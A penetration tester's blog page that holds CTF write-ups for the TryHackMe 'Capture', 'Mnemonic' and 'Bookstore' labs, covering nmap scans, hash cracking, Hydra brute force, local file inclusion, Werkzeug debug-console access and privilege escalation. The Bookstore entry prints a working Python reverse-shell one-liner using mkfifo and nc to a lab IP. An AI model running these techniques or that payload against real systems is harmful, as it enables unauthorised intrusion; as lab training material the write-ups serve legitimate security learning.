Mostrando entradas con la etiqueta python. Mostrar todas las entradas
Mostrando entradas con la etiqueta python. Mostrar todas las entradas

domingo, 7 de mayo de 2023

Capture TryHackMe Writeup

 |  , , , , ,  | 


Scanning

We scan the open ports with the nmap tool with scripts and software versions.

 > nmap -sVC -p- --min-rate 5000 10.10.183.73 -Pn -n -oN nmap-10.10.183.73.txt  
 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 22:10 CEST  
 Nmap scan report for 10.10.183.73  
 Host is up (0.058s latency).  
 Not shown: 65534 closed tcp ports (conn-refused)  
 PORT  STATE SERVICE VERSION  
 80/tcp open http  Werkzeug/2.2.2 Python/3.8.10  
 | http-title: Site doesn't have a title (text/html; charset=utf-8).  
 |_Requested resource was /login  
 | fingerprint-strings:   
 |  FourOhFourRequest:   
 |   HTTP/1.1 404 NOT FOUND  
 |   Server: Werkzeug/2.2.2 Python/3.8.10  
 |   Date: Sun, 07 May 2023 20:11:27 GMT  
 |   Content-Type: text/html; charset=utf-8  
 |   Content-Length: 207  
 |   Connection: close  
 |   <!doctype html>  
 |   <html lang=en>  
 |   <title>404 Not Found</title>  
 |   <h1>Not Found</h1>  
 |   <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>  
 |  GetRequest:   
 |   HTTP/1.1 302 FOUND  
 |   Server: Werkzeug/2.2.2 Python/3.8.10  
 |   Date: Sun, 07 May 2023 20:11:22 GMT  
 |   Content-Type: text/html; charset=utf-8  
 |   Content-Length: 199  
 |   Location: /login  
 |   Connection: close  
 |   <!doctype html>  
 |   <html lang=en>  
 |   <title>Redirecting...</title>  
 |   <h1>Redirecting...</h1>  
 |   <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.  
 |  HTTPOptions:   
 |   HTTP/1.1 200 OK  
 |   Server: Werkzeug/2.2.2 Python/3.8.10  
 |   Date: Sun, 07 May 2023 20:11:22 GMT  
 |   Content-Type: text/html; charset=utf-8  
 |   Allow: HEAD, GET, OPTIONS  
 |   Content-Length: 0  
 |   Connection: close  
 |  RTSPRequest:   
 |   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"  
 |   "http://www.w3.org/TR/html4/strict.dtd">  
 |   <html>  
 |   <head>  
 |   <meta http-equiv="Content-Type" content="text/html;charset=utf-8">  
 |   <title>Error response</title>  
 |   </head>  
 |   <body>  
 |   <h1>Error response</h1>  
 |   <p>Error code: 400</p>  
 |   <p>Message: Bad request version ('RTSP/1.0').</p>  
 |   <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>  
 |   </body>  
 |_  </html>  
 |_http-server-header: Werkzeug/2.2.2 Python/3.8.10

Share This:    Facebook Twitter Linkedin

sábado, 21 de enero de 2023

sábado, 8 de octubre de 2022

lunes, 28 de junio de 2021

Mnemonic TryHackMe Writeup

 |  , , , , ,  | 

logo

Scanning

We launch nmap with scripts and software versions.

Enumeration

We access the web service, we only see that it is in test mode.

We access the file "robots.txt" and list the directory "/webmasters/".

We run the dirsearch tool with some known extensions and a common dictionary in the directory listed above.

We list some interesting directories.

We listed an administration panel in the "/webmasters/admin/" directory, but it does not work.

We continue with dirsearch and start searching for files by known extensions in the directories listed above.

We list a backups.zip file:

We see that the file has a password to decompress, we use zip2john and crack the hash with the rockyou dictionary.

We use the password and read the file, it gives us the username of the FTP service.

We performed brute force with the enumerated user, the rockyou dictionary and the Hydra tool. We managed to find the password of the FTP service.

We use the FTP service credentials, list several folders and two interesting files "id_rsa" and "not.txt".

Content of both files:

Exploitation

We use the ssh2john tool, crack the hash with john and the wordlist rockyou to get the password.

We use the credentials in the SSH service to gain access to the machine.

We see that we have a restricted bash, so we reopen the ssh session with "bash --noprofile" and export a couple of environment variables so we can have an interactive shell.

I search the internet for the words "Mnemonic crypto", find this tool on this github, download the tool and try the numerical file.

At the moment there is nothing we can do, as we need a photograph.

If we try to list the directories and files, we are able to list a couple of files of the user "Condor", there we see two files with the title in base64.

A file is the flag of user.txt

Content 2nd file

We go back to the tool, specify the photo and the path to the text file, we will get the password of the user "condor".

Privilege Escalation

We authenticate as the user "condor" and we see that we are able to run a python script with SUDO.

Python script in execution

We see that "date" is executed without mentioning the absolute path, this would allow us to replace it and modify the path to execute our malicious binary and gain access.

But it does not work! So we continue reviewing the code, we see something suspicious, the function with code 0 allows you to write, so we would still be able to execute commands like root....

Proof of concept

Well, easy, we call the bash binary with the flag "-p" and we will get a shell as root.

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Share This:    Facebook Twitter Linkedin

domingo, 30 de mayo de 2021

Bookstore TryHackMe Writeup

 |  , , , , , ,  | 

logo

Scanning

We launch nmap with scripts and software versions on all ports.

Enumeration

We list two web services on port 80 of this website:

In the source code of the file "login.html" we list relevant information about a PIN that is stored in a file .bash_history

And at port 5000:

In the nmap capture, it listed the directory "/api/", there we will be able to list several of the site's functionalities.

We test the API and see that it works correctly from Burp.

We use the Nikto tool and enumerate the directory "/console/".

We access to the directory and we see that it asks for a PIN to be able to unlock this functionality.

Exploitation

Searching on Google about the type of server and its PIN, I found this documentation

To get the PIN, we would need to know a couple of parameters, but to get them we must be able to read some system files.

Here the API will come into play, so we will do a brute force attack to enumerate some parameter that will help us to do LFI (Local File Inclusion).

We launched the Wfuzz tool with an average dictionary, in version 2 of the API we did not list anything new, but in version 1 we did.

API V2

API V1

If we access from the browser, we see that we can embed files (LFI).

Flag user.txt

We exploit the vulnerability to be able to read the flag user.txt

Recall that they mentioned that the PIN was being stored in the .bash_history file. Thanks to the /etc/passwd file, we know the user names that contain home folder and we can enumerate the file and the access PIN.

We use the PIN and now we have access to the interactive console.

We use the following payload and we will have a reverse shell to the victim machine.

Code Execute


__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.30.149 443 >/tmp/f').read();

Reverse shell

Privilege Escalation

We checked the directory of the user "sid", we found a binary that could be the way to escalate privileges, since it runs as the root user.

We transfer the binary to our kali, check with the Ghidra tool and see the conditional where it calls the 3 parameters calculating the xor value.

But even if we are missing a parameter, we can obtain it by reversing the xor with the values we have.

With the magic number in our hands, we insert it and we become root and read the flag of root.txt.

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Share This:    Facebook Twitter Linkedin